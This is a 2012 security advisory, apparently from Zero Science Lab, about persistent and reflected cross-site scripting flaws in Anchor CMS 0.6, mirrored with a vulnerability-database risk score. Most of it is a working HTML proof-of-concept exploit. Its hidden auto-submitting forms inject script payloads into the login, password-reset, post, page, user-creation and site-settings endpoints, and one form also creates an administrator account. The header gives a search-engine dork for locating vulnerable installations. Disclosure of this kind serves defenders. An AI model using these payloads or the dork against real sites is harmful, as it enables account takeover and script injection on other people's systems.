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Anchor CMS v0.6 Multiple Persistent XSS Vulnerabilities
<!--
Anchor CMS v0.6 Multiple Persistent XSS Vulnerabilities
Vendor: Team Anchor
Product web page: http://www.anchorcms.com
Affected version: 0.6-14-ga85d0a0
Summary: Anchor is a content management system, written in
PHP5, built for art-directed posts.
Desc: Anchor CMS suffers from multiple stored and reflected
XSS vulnerabilities when parsing user input to several parameters
via GET and POST method. Attackers can exploit this weakness
to execute arbitrary HTML and script code in a user's browser
session.
Tested on: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.21
PHP 5.3.8
MySQL 5.5.20
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2012-5085
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5085.php
Dork: "intext:Powered by Anchor, version 0.6"
19.04.2012
--><html>
<head><title>Anchor CMS v0.6 Multiple Persistent XSS Vulnerabilities</title>
</head><body bgcolor="#000000">
<script type="text/javascript">
function xss0(){document.forms["xss0"].submit();}
function xss1(){document.forms["xss1"].submit();}
function xss2(){document.forms["xss2"].submit();}
function xss3(){document.forms["xss3"].submit();}
function xss4(){document.forms["xss4"].submit();}
function xss5(){document.forms["xss5"].submit();}
</script>
<form action="http://localhost/anchorcms/index.php/admin/users/login" enctype="application/x-www-form-urlencoded" id="xss0" method="POST">
<input name="user" type="hidden" value='"><script>alert(1);</script>'/>
<input name="pass" type="hidden" value="admin"/>
</form>
<form action="http://localhost/anchorcms/index.php/admin/users/amnesia" enctype="application/x-www-form-urlencoded" id="xss1" method="POST">
<input name="email" type="hidden" value='"><script>alert(1);</script>'/>
</form>
<form action="http://localhost/anchorcms/index.php/admin/posts/add" enctype="application/x-www-form-urlencoded" id="xss2" method="POST">
<input name="title" type="hidden" value='"><script>alert(1);</script>'/>
<input name="comments" type="hidden" value="1"/>
<input name="css" type="hidden" value=""/>
<input name="description" type="hidden" value="ZSL"/>
<input name="html" type="hidden" value="1"/>
<input name="js" type="hidden" value=""/>
<input name="slug" type="hidden" value='"><script>alert(2);</script>'/>
<input name="status" type="hidden" value="published"/>
</form>
<form action="http://localhost/anchorcms/index.php/admin/pages/add" enctype="application/x-www-form-urlencoded" id="xss3" method="POST">
<input name="name" type="hidden" value='"><script>alert(1);</script>'/>
<input name="title" type="hidden" value='"><script>alert(2);</script>'/>
<input name="content" type="hidden" value="Zero Science Lab"/>
<input name="slug" type="hidden" value="ZSL"/>
<input name="status" type="hidden" value="published"/>
</form>
<form action="http://localhost/anchorcms/index.php/admin/users/add" enctype="application/x-www-form-urlencoded" id="xss4" method="POST">
<input name="real_name" type="hidden" value='"><script>alert(1);</script>'/>
<input name="bio" type="hidden" value="MK"/>
<input name="email" type="hidden" value='"><script>alert(3);</script>'/>
<input name="password" type="hidden" value="admin"/>
<input name="role" type="hidden" value="administrator"/>
<input name="status" type="hidden" value="active"/>
<input name="username" type="hidden" value='"><script>alert(2);</script>'/>
</form>
<form action="http://localhost/anchorcms/index.php/admin/metadata" enctype="application/x-www-form-urlencoded" id="xss5" method="POST">
<input name="auto_published_comments" type="hidden" value="1"/>
<input name="description" type="hidden" value='"><script>alert(1);</script>'/>
<input name="home_page" type="hidden" value="1"/>
<input name="posts_page" type="hidden" value="1"/>
<input name="posts_per_page" type="hidden" value="1"/>
<input name="save" type="hidden" value=""/>
<input name="sitename" type="hidden" value='"><script>alert(2);</script>'/>
<input name="theme" type="hidden" value="default"/>
<input name="twitter" type="hidden" value='"><script>alert(3);</script>'/>
</form>
<br/><br/>
<a href="javascript: xss0();" style="text-decoration:none">
<b><font color="red"><h3>XSS 0</h3></font></b></a><br/>
<a href="javascript: xss1();" style="text-decoration:none">
<b><font color="red"><h3>XSS 1</h3></font></b></a><br/>
<a href="javascript: xss2();" style="text-decoration:none">
<b><font color="red"><h3>XSS 2</h3></font></b></a><br/>
<a href="javascript: xss3();" style="text-decoration:none">
<b><font color="red"><h3>XSS 3</h3></font></b></a><br/>
<a href="javascript: xss4();" style="text-decoration:none">
<b><font color="red"><h3>XSS 4</h3></font></b></a><br/>
<a href="javascript: xss5();" style="text-decoration:none">
<b><font color="red"><h3>XSS 5</h3></font></b></a><br/>
<a href='http://localhost/anchorcms/index.php/"><script>alert(1);</script>'>XSS 6</a>
</body></html>
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20 Apr 2012 00:00Current
6.1Medium risk
Vulners AI Score6.1